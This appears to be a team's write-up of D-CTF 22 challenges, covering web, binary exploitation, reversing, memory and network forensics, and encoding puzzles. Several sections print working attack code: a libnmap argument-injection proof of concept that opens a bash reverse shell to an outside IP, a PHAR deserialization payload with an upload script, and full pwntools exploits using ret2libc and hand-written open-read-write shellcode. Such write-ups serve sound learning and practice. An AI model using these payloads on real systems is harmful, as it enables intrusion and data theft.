You are on page 1of 46

CHALLENGES WRITE-UPS FOR

D-CTF 22
1. SUMMARY

Team Name 5
Country 5
Contact Details & Identifier on CyberEDU.ro 5

Scanning-Station 6
Proof of flag 6
Summary of the vulnerabilities identified 6
Proof of solving 6

Ground 9
Proof of flag 9
Summary of the vulnerabilities identified 9
Proof of solving 9

Pure-Cij 12
Proof of flag 12
Summary of the vulnerabilities identified 12
Proof of solving 12

Cryogenics 14
Proof of flag 14
Summary of the vulnerabilities identified 14
Proof of solving 14

Network-Traffic1 15
Proof of flag 15
Summary of the vulnerabilities identified 15
Proof of solving 15

Network-Traffic2 16
Proof of flag 16
Summary of the vulnerabilities identified 16
Proof of solving 16

Malware-Station 17
Proof of flag 17
Summary of the vulnerabilities identified 18
Proof of solving 18

Fast-Proof 20
Proof of flag 20
Summary of the vulnerabilities identified 20
Proof of solving 20

Alarm 21
Proof of flag 21
Summary of the vulnerabilities identified 22
Proof of solving 22

Destruction 26
Proof of flag 26
Summary of the vulnerabilities identified 27
Proof of solving 27

Another-Malware-Station 32
Proof of flag 32
Summary of the vulnerabilities identified 32
Proof of solving 32

Ranszip 34
Proof of flag 34
Summary of the vulnerabilities identified 35
Proof of solving 35

Read-QRs 37
Proof of flag 37
Summary of the vulnerabilities identified 37
Proof of solving 37

Deleted-Paste 39
Proof of flag 39
Summary of the vulnerabilities identified 39
Proof of solving 39

Multi-Encode 39
Proof of flag 39
Summary of the vulnerabilities identified 39
Proof of solving 39

Xenon-PDF 40
Proof of flag 40
Summary of the vulnerabilities identified 40
Proof of solving 41

Xrypto 42
Proof of flag 42
Summary of the vulnerabilities identified 42
Proof of solving 42

Scanning-Station 45
Proof of flag 45
Summary of the vulnerabilities identified 46
Proof of solving 46

Getting-Trolljs 47
Proof of flag 47
Summary of the vulnerabilities identified 47
Proof of solving 47
2. ABOUT THE AUTHOR

2.1 Team Name


P3WP3W

2.2 Country
Romania

2.3 Contact Details & Identifier on CyberEDU.ro


luchianmarc12@gmail.com, Luchian Marc
3. WRITE-UPS

3.1 SCANNING-STATION

3.1.1 Proof of flag

Flag Screenshot:

Flag plaintext:

CTF{d60a0c929b9dd244eacedac54171bc3293448630fbbabc209f2751611bcd85b0}

3.1.2 Summary of the vulnerabilities identified

We noticed the error output when putting a single quote in the box. This allowed us to read part of the
app.py file which referenced NmapProcess. After some digging into how that works, we found the
libnmap vulnerability. We implemented the POC found on the link below. The tricky part was the file
location as in the blog the application was creating a folder with the IP address. This one didn’t.

3.1.3 Proof of solving

Upon first accessing the website, we get a box in which we are expected to input an IP address.
Instead of doing that, we try various symbols to see if it breaks. It does break with a single quote and
we get an error.

This reveals that Debug is ON and we get to read part of the app.py file serving the website. This
specifies that it is using the NmapProcess function:

After doing some research on how that works, we soon found a blog about a vulnerability in the
libnmap library.

https://www.swascan.com/security-advisory-libnmap-2/

We apply the POC shown in the advisory. Our first request is supposed to grab our .nse script from our
webserver.

content=4.236.147.175,-p,1337,--script,http-fetch,--script-args,destination=/tmp/a
Our hosted python webserver allows the file to be grabbed. We get a 200 ok on it.

Since NMAP uses LUA scripting language, our content of the rev.nse file is a basic bash reverse shell:

os.execute('/bin/bash -c "bash -i >& /dev/tcp/4.236.147.175/80 0>&1"')

Our next POST request was sent to trigger the uploaded rev.nse script. Through experimentation on a
local environment, we noticed that the file is saved directly in the folder we specified unlike what the
original advisory mentions where the file is stored in a folder with the IP address.

content=4.236.147.175,-p,1337,--script,/tmp/a/rev.nse

This POST request triggered the payload and we received our reverse shell and read the flag:
CTF{d60a0c929b9dd244eacedac54171bc3293448630fbbabc209f2751611bcd85b0}

3.2 GROUND

3.2.1 Proof of flag

Flag screenshot:

Flag plaintext:

CTF{cff6265bd8facbc2a80d2888c45ab765363258af249c9fb7a341232a6b9cdf6e}

3.2.2 Summary of the vulnerabilities identified

After fuzzing what looked to be a static website, we find /phpinfo.php which leaks helpful information
such as what PHP functions are disabled. After a long time, we noticed in our BurpSuite history that it
loads a favicon.ico which is in fact a php script.

This script allows us to figure out that there is a hidden upload function. The most important part is that
it seems to be using a class vulnerable to phar deserialization which we can abuse to read the flag
which according to the index page should be in flag.php.

3.2.3 Proof of solving

When we first access the website, we are greeted with an index page showing us some PHP code.
This code implies there is a flag.php file which is included and a /?file endpoint.

After we fuzz for files, we find http://34.141.25.94:32255/phpinfo.php which leads us to finding out that
certain PHP functions are disabled:

After being lost for quite a while and going down a rabbit hole of trying to upload files using phpinfo and
trying a race condition to trigger the temporary files it creates. We finally look back and see that
favicon.ico is not what it is supposed to be. It is in fact a PHP script. Very sneaky and annoying. Not
very realistic (unless it was a backdoor however that’s a premise for a different challenge). If I ever see
script in the favicon in any of my engagements, I’ll eat my shoes.
This script seems vulnerable to PHAR deserialization and using eval(). We also get a hidden upload
feature which is very necessary for us to be able to exploit the vulnerability.

Step 1: Create test.php file with the contents below. Notice we are using readfile() function as it is not
in the list of disabled functions and we know in which file the flag is supposed to be.

<?php
class Grounded {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
eval($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data


$object = new Grounded('echo readfile("flag.php");');
$phar->setMetadata($object);
$phar->stopBuffering();

Step 2: Compile it:

php --define phar.readonly=0 test.php && mv test.phar flag.jpg

Step 3: Upload file using a simple python script then read it


import requests
import urllib.parse

with open('flag.jpg', 'rb') as fp:


content = fp.read()
content = urllib.parse.quote(content)
url = f'http://34.141.25.94:32512/?upload={content}&name=lazytitan33'
proxy = {"http":"http://127.0.0.1:8080"}

r = requests.get(url, proxies=proxy)
x = requests.get('http://34.141.25.94:32512/?file=phar:///tmp/lazytitan33.txt')
print(x.text)
Once we run our script, the file gets uploaded and then read out to the terminal:

CTF{cff6265bd8facbc2a80d2888c45ab765363258af249c9fb7a341232a6b9cdf6e}

3.3 PURE-CIJ

3.3.1 Proof of flag

Flag screenshot:

Flag plaintext:

CTF{56c5ed0e0c3246493cc03801a05e4deb0328e31c7bfe75edee5c89553e58781a}

3.3.2 Summary of the vulnerabilities identified

Once we connect with netcat to the given IP and Port, we see a splash screen. The instinct here was to
try bash command injection with a semi-colon and it worked like a charm.

3.3.3 Proof of solving

We first tried to list files and to our surprise, it worked right away and notice the flag file is already in the present
working directory.
And we can read it.

CTF{56c5ed0e0c3246493cc03801a05e4deb0328e31c7bfe75edee5c89553e58781a}
3.4 CRYOGENICS

3.4.1 Proof of flag

Flag screenshot:

Flag plaintext:

CTF{13346f5de9d568cd012b98c0ed915fd0085f39a77b14bb646925dd45f7ed90d2}

3.4.2 Summary of the vulnerabilities identified

Angr with claripy was used to get the flag from this binary.

3.4.3 Proof of solving

import angr, claripy


target = angr.Project('cryogenics', auto_load_libs=False)
input_len = 15
inp = [claripy.BVS('flag_%d' %i, 8) for i in range(input_len)]
flag = claripy.Concat(*inp + [claripy.BVV(b'\n')])

st = target.factory.full_init_state(args=["./cryogenics"], stdin=flag)
for k in inp:
st.solver.add(k > 0)
st.solver.add(k < 129)

sm = target.factory.simulation_manager(st)
sm.run()
y = []
for x in sm.deadended:
if b"Flag" in x.posix.dumps(1):
print(x.posix.dumps(1))
3.5 NETWORK-TRAFFIC1

3.5.1 Proof of flag

This is a Wireshark challenge with non-standard flag formats which are all shown below.

3.5.2 Summary of the vulnerabilities identified

We analyzed the Wireshark capture trying to understand what happened and finding the answers to
the given questions.

3.5.3 Proof of solving

Question 1: What is the the ip address of the infected Windows?


Based on the way the question is formulated, logically we searched for the destination
address which is the answer: 172.16.165.165

Question 2: What is the hostname value for the computer that gets infected?
We search the capture to find a computer name and find: K34EN6W3N-PC

Question 3: What is the name of the compromised website, basically the entry point of the
malware infection?
We see many suspicious accessed links from stand.trustandprobaterealty.com such as
the one pictured below:
Question 4: Please provide the redirection URL that is used by the malware after being injected
into the compromised machine:
The other most accessible website which seems to redirect to suspicious things is
www.ciniholland.nl an example pictured below:

Question 5: What is the MD5 for the Java exploit used în this attack?
We extracted the file from the capture and ran it through VirusTotal which gave us the
output: 1e34fdebbf655cebea78b45e43520ddf

3.6 NETWORK-TRAFFIC2

3.6.1 Proof of flag

This is a Wireshark challenge with non-standard flag formats which are all shown below.

3.6.2 Summary of the vulnerabilities identified

We analyzed the Wireshark capture trying to understand what happened and finding the answers to
the given questions.

3.6.3 Proof of solving

Question 1: Please determine when the malicious activity started?


Wireshark very helpfully allows us to check the arrival time of packets and based on the
screenshot below, the flag is: 13-02-2018
Question 2: Determine the IP address of the affected Windows host.
Based on the wireshark capture, the IP of the host is: 10.23.1.205

Question 3: Determine the hostname of the afected Windows machine.


The answer here is found at the same time as the IP address: REGINALD-PC

Question 4: Determine the user account name on the affected Windows host.
We found the name in one of the packets: reginald.farnsworth

Question 5: Determine what type of malware infection is present in the pcap file.
We can again use VirusTotal to identify it however the answer format that was expected
was a bit more tricky to pin down.

It was a variant of DarkComet and the word Rat: darkComet-rat

3.7 MALWARE-STATION

3.7.1 Proof of flag

This challenge involves analyzing a .vmem file and does not contain standard format flags.
3.7.2 Summary of the vulnerabilities identified

We analyzed the given file with volatility2 trying to find the answers to the given questions.

3.7.3 Proof of solving


Question 1: On which OS the malware was detected?
To find this information, we run volatility with imageinfo and we see it’s windows-xp
vol2 -f memory.vmem imageinfo

Question 2: Which is the process that the attackers used to create an active connection with
the targeted host?
Infections usually happen because of bad stuff being downloaded from the internet so we
can use iehistory from volatility to check the browsing history and we see a weird listener.pdf
file having been run by explorer.exe

vol2 -f malware.vmem --profile=WinXPSP3x86 iehistory

Question 3: At which address and port the infected machine was connected too?
We can use the connscan command to see network connections and we see the IP and
Port used by the same PID as with the earlier question so we know that is the answer.
172.16.98.1:6666
vol2 -f malware.vmem --profile=WinXPSP3x86 connscan

Question 4: Which process should be dumped to obtain the malware executable?


We can use pslist to get a list of running processes and given that we saw that listener.pdf
file earlier, it is safe to say that our answer is reader_ls.exe.
vol2 -f malware.vmem --profile=WinXPSP3x86 pslist

Question 5: Which type of malware is the suspicious executable?


We can use procdump to dump this process.

vol2 -f malware.vmem --profile=WinXPSP3x86 procdump -p 228 -D .

When we upload this to VirusTotal, we see that some identify it as a Trojan, so that is our last
flag for this challenge.
3.8 FAST-PROOF

3.8.1 Proof of flag

Flag screenshot:

Flag plaintext:

CTF{60d6fdfe76fed41685766be3631efcc80a4c90fe3a4bece6ffb23dd2aa72b2c4}

3.8.2 Summary of the vulnerabilities identified

This challenge sends us some strings when we use netcat to connect to it and requires some
“proof-of-work”. We investigate the string in Cyberchef and find it is ROT13 and Base64. We script the
rest until we get the flag.

3.8.3 Proof of solving

Connecting to the ip provided by the authors, we get the following string:

After browsing Cyberchef for a while, we discovered this was ROT-13 and base64 encoded. All that was left was to
write a script that receives the string, decodes it and sends it back to the server.

We used pwntools for the connection and base64, codecs for the decoding.

#!/usr/bin/env python3
from pwn import *
import codecs
import base64

p = remote('35.198.78.168',31150)

def decode_func():
p.readuntil(b'\n')
string = str(p.readuntil(b'\n')[:-1])
string = str(codecs.decode(string, 'rot_13'))
#For some reason, the string format given by codecs was
#weird, so we had to remove the last 3 chars and first 2 chars.
string = str(string[:-3])
string = string[2:]
print(string)
string = base64.b64decode(string)
p.sendline(string)
counter = 1
decode_func()
for i in range(0, 10000):
print("DECODED THE STRING {} TIMES".format(int(counter)))
p.readuntil(b'\n')
decode_func()
counter = counter+1
p.interactive()
After sending the decoded work_proof 500 times, we get the flag.

We ROT13 it one more time and get the decoded flag:

3.9 ALARM

3.9.1 Proof of flag

Flag screenshot:
Flag plaintext:

CTF{f0af17449a83681de22db7ce16672f16f37131bec0022371d4ace5d1854301e0}

3.9.2 Summary of the vulnerabilities identified

Printf vulnerability + Buffer overflow

3.9.3 Proof of solving

Opening the binary in IDA and inspecting the main function we see the following:
Firstly, it opens /dev/urandom to create a 4 byte random number that acts as a “password”, you
need to input the correct number to go to the sub_400861() function. However,
printf(byte_6010C0); is vulnerable to a printf format string attack. Because the buffer is quite
big, l just sent a lot of “%p”s to try to leak the number.

The 9th value seems to be the number, so l tried sending it.


And l was right! Let’s look at the function we entered.

A basic buffer overflow. The buffer can hold a maximum of 112 bytes, but we read 0x1388
bytes. To fully exploit this we’ll need a leak of the libc, because we’ll need the base of libc to
calculate where bin_sh and system are. So we are going to send 120 bytes of dummy data (112
buffer + 8 bytes of old_rbp) then a pop rdi ; ret gadget, to set $rdi to GOT puts address
(Because $rdi is the first parameter as the linux x86-64 function calling says.), then we are
going to call puts. This pretty much will send back the puts address in memory, with it we can
calculate the libc address. But we can't leave the program like this, because after leaking the
address nothing else will happen. So after we call puts, we will call the vulnerable function
again.

This is our exploit so far:

#!/usr/bin/env python3
from pwn import *
elf = ELF('./alarm')

#p = elf.process()
p = remote('34.141.12.127',30461)

pop_rdi = 0x0000000000400a23
ret = 0x000000000040067e
vuln = 0x400861

p.readuntil(b'!')
p.sendline(b'%9$p')
p.readuntil(b'\n')
Number = int(p.readuntil(b'\n')[:-1], 16)
p.readuntil(b':')
p.sendline(hex(Number))

Payload = b'A'*120
Payload += p64(pop_rdi)
Payload += p64(elf.got[b'puts'])
Payload += p64(elf.plt[b'puts'])
Payload += p64(vuln)
p.sendline(Payload)

p.readuntil(b'\n')
p.readuntil(b'\n')

libc_leak = u64(p.recvline().strip(b"\n").ljust(8, b"\x00"))


print("LEAK: {}".format(hex(libc_leak)))
p.interactive()

And we got our leak!

Now, we need to leak more GOT functions to make sure we get the correct libc from libc.rip. I
also leaked fgets.

Only 2 libcs were shown and both had the same offsets. We can now calculate where bin_sh
and system will be in memory. All that there’s left is to call system(‘/bin/sh’).

This will be our final exploit:

#!/usr/bin/env python3
from pwn import *
elf = ELF('./alarm')
#p = elf.process()
p = remote('34.141.12.127',30461)

pop_rdi = 0x0000000000400a23
ret = 0x000000000040067e
vuln = 0x400861

p.readuntil(b'!')
p.sendline(b'%9$p')
p.readuntil(b'\n')
Number = int(p.readuntil(b'\n')[:-1], 16)
p.readuntil(b':')
p.sendline(hex(Number))

Payload = b'A'*120
Payload += p64(pop_rdi)
Payload += p64(elf.got[b'fgets'])
Payload += p64(elf.plt[b'puts'])
Payload += p64(vuln)
p.sendline(Payload)

p.readuntil(b'\n')
p.readuntil(b'\n')

libc_leak = u64(p.recvline().strip(b"\n").ljust(8, b"\x00"))


print("LEAK: {}".format(hex(libc_leak)))

base = libc_leak - 0x80970


print("LIBC BASE: {}".format(hex(base)))

system = base + 0x4f420


bin_sh = base + 0x1b3d88

Payload = b'A'*120
Payload += p64(ret)
Payload += p64(pop_rdi)
Payload += p64(bin_sh)
Payload += p64(system)
p.sendline(Payload)
p.interactive()

3.10 DESTRUCTION

3.10.1 Proof of flag

Flag screenshot:
Flag plaintext:

CTF{7d9ad926a7fd47a7280d20b5c0fbe6cbf69435e9b62a1b7ba1a4628fe43331d5}

3.10.2 Summary of the vulnerabilities identified

NX disabled. Seccomp rules that allow you to only call read, open and write. Buffer
overflow + Useful gadget to call read() again for a full Open-Read-Write shellcode.

3.10.3 Proof of solving

Opening the binary in IDA we see a function that uses some seccomp rules.

if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )


{
printf("prctl(NO_NEW_PRIVS)");
}
else
{
if ( !prctl(22, 2LL, &v1) )
return 0LL;
printf("prctl(SECCOMP)");
puts("Test");
}
if ( *__errno_location() == 22 )
{
puts("SECCOMP_FILTER is not available. :(");
exit(0);
}
if ( !*__errno_location() )
__asm { jmp rsp }
return 1LL;
}

Because of this, l used a tool called seccomp-tools to dump the rules.

We can see that we can’t call x86 syscalls, we are allowed to only call read, open, write and
exit. Continuing with our REV, the main function is vulnerable to a obvious buffer overflow:

__int64 __fastcall main(int a1, char **a2, char **a3)


{
__int64 buf[3]; // [rsp+0h] [rbp-20h] BYREF
int v5; // [rsp+1Ch] [rbp-4h]

buf[0] = 0LL;
buf[1] = 0LL;
puts("Acces denied intruder detected!!");
v5 = 1;
sub_4006A7();
if ( read(0, buf, 0x38uLL) <= 0 )
return 0LL;
if ( strncmp("done", (const char *)buf, 4uLL) )
exit(0);
return 0LL;
}

The “buf” buffer can hold max 3 bytes but the binary calls read(0, buf, 0x38). Because of the
strncmp the first 5 bytes will be “done” + ‘\x00’. Let’s try and see where we corrupt the $rip.

If we send done + 1 null byte + 35 ‘A’s we’ll reach the return address. The thing is, we don’t
actually have a lot of space and we also dont have a way to return to the bytes after “done”. The
thing is, the binary has a very useful gadget:

0x0000000000400882 : jmp rsp


If we put the $rip as jmp rsp, it will jump to our ‘C’s in the image above. So we have only 8 bytes
to create a shellcode. We’ll have to call read() with these 8 bytes which isnt a hard task. All we
have to do is null rdi and set rdx to a higher value. rax is already 0 so that helped a ton.
After calling read we’ll have to do a basic Open-Read-Write shellcode. I decided to manually
craft it instead of using pwntools because that’s cooler.

First shellcode (Calling read again):

Shellcode += asm('''
xor rdi, rdi ; null rdi
mov dh, 0x2 ; set rdx to 0x204
syscall ; call read
''')

Second shellcode (Open-Read-Write):

Shellcode += asm('''
xor rdx, rdx ; null rdx
xor rsi, rsi ; null rsi
push rsi ; push 0
mov rax, 0x7478742e67616c66 ; flag.txt
push rax ; push flag.txt
mov rdi, rsp ; set rdi to a pointer that points to flag.txt
mov rax, 0x2 ; set rax to open syscall
syscall ; call open

mov rdi, rax ; set rdi to the fd returned by open() syscall


xor rax, rax ; null rax (read syscall)
mov rdx, 0x60 ; lenght for read()
mov rsi, rsp ; set rsi to a buffer
syscall ; call read

mov rax, 1 ; set rax to write syscall


mov rdi, 1 ; set rdi to STDOUT fd
syscall ; call write
''')
Our final exploit will be:
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./destruction')
context.arch = 'amd64'

#p = elf.process()
p = remote('35.242.226.178',30160)

Shellcode = b'done'
Shellcode += b'\x00'
Shellcode += b'\x90'*3
Shellcode += b'\x41'*32
Shellcode += p64(0x0000000000400882) # jmp rsp
Shellcode += asm('''
xor rdi, rdi
mov dh, 0x2
syscall
''')
sleep(1)
p.send(Shellcode)

Shellcode = b'\x90'*100 # NOP padding, we can't be sure the execution will


jump straight to the first byte of our second shellcode
Shellcode += asm('''
xor rdx, rdx
xor rsi, rsi
push rsi
mov rax, 0x7478742e67616c66
push rax
mov rdi, rsp
mov rax, 0x2
syscall

mov rdi, rax


xor rax, rax
mov rdx, 0x60
mov rsi, rsp
syscall

mov rax, 1
mov rdi, 1
syscall
''')
p.send(Shellcode)

p.interactive()
And after we run it, we get our flag:

3.11 ANOTHER-MALWARE-STATION

3.11.1 Proof of flag

This challenge involves analyzing a .vmem file and does not contain standard format
flags.

3.11.2 Summary of the vulnerabilities identified

We analyzed the given file with volatility2 trying to find the answers to the given
questions.

3.11.3 Proof of solving

Question 1: Which is the suspicious process and its PID that should be analyzed in this
investigation?
As always with malware, it usually comes from the internet so we use pslist to list our
processes and indeed see IEXPLORE.EXE with PID 2044. The flag is IEXPLORE.EXE, 2044

vol2 -f malware2.vmem --profile=WinXPSP2x86 pslist


Question 2: In which Windows DLL the malware was hooked?
Since this came through iexplore, it’s natural for us to list the dll files for this specific PID. We
can do so with volatility2 as well.

vol2 -f malware2.vmem --profile=WinXPSP2x86 dlllist -p 2044

There are a lot of DLL files:

But the most obvious one, given an HTTP connection, would be the WINHTTP.DLL file which is
the last one in the list and our flag for this question:
Question 3: Which kind of protection uses the suspicious process that makes a cyber analyst
think that malware is present?
Volatility is a great tool and it has a malfind function which allows us to find malicious
process for specific PIDs. The syntax below finds our flag for this question as well:
PAGE_EXECUTE_READWRITE

vol2 -f malware2.vmem --profile=WinXPSP2x86 malfind -p 2044

Question 4: On which offset address the malicious code was executed?


We can see the offset in the output of our last command: 0x7ff80000

Question 5: Which OS module(.dll) does the malware hook?


We dumped the executable process and used grep to search for DLLs it’s hooking into,
KERNEL32 was the second one which is our flag for this question.

Question 6: Which protocol the malware uses to connect to the C&C servers?
Given what we know so far about the infection, it is safe for us to first try HTTP and that is
indeed the flag for this challenge.

3.12 RANSZIP

3.12.1 Proof of flag

Flag screenshot:
Flag plaintext:

CTF{f88981a5e360550bbd247c0c52968ee1d44dd18dcc370bb50397dbd11a011f25}

3.12.2 Summary of the vulnerabilities identified

I unzipped the files and used Linux CLI tools in order to facilitate my process of
finding the password.

3.12.3 Proof of solving

Firstly, I unzipped the given file:

I then used ls -l to look at the files inside the archive:


I then saw something strange about the hour. They are all one minute apart. So I sorted them by
time:

That must be the password, so I made a quick one-liner to get it:

ls -l |sort -k 8 | awk '{print $9}' | awk -F "." '{print $1}' | xargs | sed
's/ //g'

I then unzipped one archive (they were all identical) and got the flag.zip, on which I used the
previously obtained password:
3.13 READ-QRS

3.13.1 Proof of flag

Flag screenshot:

Flag plaintext:

CTF{637d391df5b11a686642189160aa68d1263e0250ece98a4be3e460838153340d}

3.13.2 Summary of the vulnerabilities identified

Python scripting to automate receiving and sending answers from and to a server,
base64 decoding and QR code scanning.

3.13.3 Proof of solving

We see that we have a server which gives us a text. When decoding that text, from base64 we
see that it gives us a QR code, thus we make a Python script to automate the process of
scanning that QR code and others that may be given to us:

from pwn import *


import base64
from PIL import Image, ImageFont, ImageDraw
from pyzbar.pyzbar import decode

# We set the width and height desired for the QR code


width = 445
height = 420

context.log_level = 'critical'

# We remotely connect to the challenge server, using pwntools


r = remote("35.242.226.178", 30819)

# We do the following actions in loop,


# as the server gives us multiple QR codes
for x in range(0,5):
# We read the received text
inp = r.recvline()

# We manipulate the text received in `inp` to get the QR


b64qr = inp.strip().decode()[2:-1]
qr = base64.b64decode(b64qr).decode()
# We get the QR stored in the variable `qr` as text

# We create an image, where we will store the QR


img = Image.new('RGB', (width, height), color='black')

# We set a favorable font for our purpose


font = ImageFont.truetype("Monospace.ttf",size=20,encoding="UTF-8")

# We write the text on the created image


# in order to facilitate scanning the QR code
imgDraw = ImageDraw.Draw(img)
imgDraw.text((-117,0), qr, font=font, fill=(255, 255, 255))

# We scan the QR code


to_be_sent = decode(img)[0].data.decode('ascii')

print(r.recvline())

# We send the obtained value to the server


r.sendline(to_be_sent)
print(to_be_sent)

# We read the flag


print(r.recvline())
print(r.recvline())

When executing the script, we get the flag:


3.14 DELETED-PASTE

3.14.1 Proof of flag

Flag no longer visible because of Wayback Machine shenanigans.

3.14.2 Summary of the vulnerabilities identified

I went on Wayback Machine and used the given link (https://0paste.com/396387) to


go back to the specified date (29 sep 2022).

3.14.3 Proof of solving

Sadly the link is no longer available (known issue)

3.15 MULTI-ENCODE

3.15.1 Proof of flag

Flag screenshot:

Flag plaintext:

ctf{a7e0c5ea8025205088cc47948d54fe74a66d45ec56728824a163e795f30b3e42}

3.15.2 Summary of the vulnerabilities identified

We used Cyberchef.

3.15.3 Proof of solving

I introduced the given text in CyberChef. Using the Magic Tool I got the following recipe:

From_Base64('A-Za-z0-9+/=',true,false)
Gunzip()
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false)

This gave us the flag:

3.16 XENON-PDF

3.16.1 Proof of flag

Flag screenshot:

Flag plaintext:
CTF{163c14fa294049440d31b6769f1256de6f4aad9edd40041d55d899e93e8af40b}
3.16.2 Summary of the vulnerabilities identified

PDF is XOR-ed with the PDF magic bytes and the flag is written with white on white
background.

3.16.3 Proof of solving

After downloading the "pdf" we see that instead of receiving a normal pdf we got a lot of weird
bytes. What caught my attention was that the first five bytes were 00

After reading the description more carefully we see a reference to "magic" bytes so then I
realise we miss the PDF magic bytes. There was still a problem because the file didn't resemble
a pdf at all. After a while I realised maybe the PDF was xored with the magic bytes hence why
the first bytes were 00.
I imported the "pdf" on CyberChef and then XORed it with the PDF magic bytes:**25 50 44 46
2D**

After downloading the resulted PDF we see just a blank page. The author hid the flag by making
the font color white.

Flag: CTF{163c14fa294049440d31b6769f1256de6f4aad9edd40041d55d899e93e8af40b}
3.17 XRYPTO

3.17.1 Proof of flag

Flag screenshot:

Flag plaintext:

CTF{420c65eef2f1a413089535f6a228047e179859364718a0d9f2283f723de33c5f}

3.17.2 Summary of the vulnerabilities identified

Sometimes bruteforcing pays off.

3.17.3 Proof of solving

A beautiful challenge made by my drinking friend Ephvuln who was so nice these
days to not f**k us with some crazy crypto at Defcamp.

Getting back to our challenge we are presented with a pretty nice looking binary.
Here we can see what the main function does. It takes our 69 bytes input
(CTF+{sha256}) and encrypts it four times with the same function. After then it prints
it in a hex %02X format.
Looking inside the encrypt function we can see it applies another two functions.

First one is shifting the bytes of our input and does an OR bitwise operation.
The second one is just xoring our initial input with the output from the shift_bytes
function.

I was kinda tired when I approached this challenge so I tried playing a little bit with
the binary to see if I can get something from a blackbox approach.

We have the output we need to find from the description of the challenge so I tried to
match it. I successfully found that inputing CTF{ we get the first two bytes correct. I
continued to try bruteforcing and found a pattern. Seems like we can get the first
2*(length(input) - 2) chars to match the same length provided output of the same
length.

In our case CTF{ is 4 bytes long and it outputs us the first 2*(4-2) = 4 characters
correct from our given output.

I quickly made a script to generate the rest of the flag for us given the found rule.
from pwn import *

context.log_level = 'critical'

poss = "abcdef0123456789"
flag = "CTF{"

out =
"052f72490451065653500357000307055007010b090d0a0055030704530a020c0751065208
0f0c01060f0701050f50080509020b540a015e04540456565756500605482529"

for x in range(0,65):
for char in poss:
p = process(["./encr.bin",flag+char])
res = p.recvline().strip().decode()
p.close()
if res[0:2*(len(flag) -1)] == out[0:2*(len(flag)-1)]:
flag += char
print(flag)
break

print(flag+"}")

3.18 SCANNING-STATION

3.18.1 Proof of flag

Flag screenshot:

Flag plaintext:

CTF{7f54e15bcf2e3c1f5749c8a74f104285b71ef6ce3101c9f4e31ddbde15855382}
3.18.2 Summary of the vulnerabilities identified

Strings is still a strong tool. Don’t leave critical strings visible.

3.18.3 Proof of solving

After downloading the APK I decompiled it on http://www.javadecompilers.com Looking through


sources I saw the kivy package. I already did a challenge like that so I knew I had to find a tar
archive in the assets and there it was.
After decompressing the archive we have the main.pyc file. I tried decompiling the pyc file but
the python version was too new so I ran strings on it. I found a base64 file that encodes our flag.
3.19 GETTING-TROLLJS

3.19.1 Proof of flag

Flag screenshot:

Flag plaintext:

ctf{38ecb1b9c0373012508632ed7ae71288cc608782e7fb9a45552a782584116e1b}

3.19.2 Summary of the vulnerabilities identified

Tricky, trolly javascript in the background gives us a slightly different flag in the
clipboard

3.19.3 Proof of solving

CTRL+U to View-Source and we can copy+paste from there without “interference”

You might also like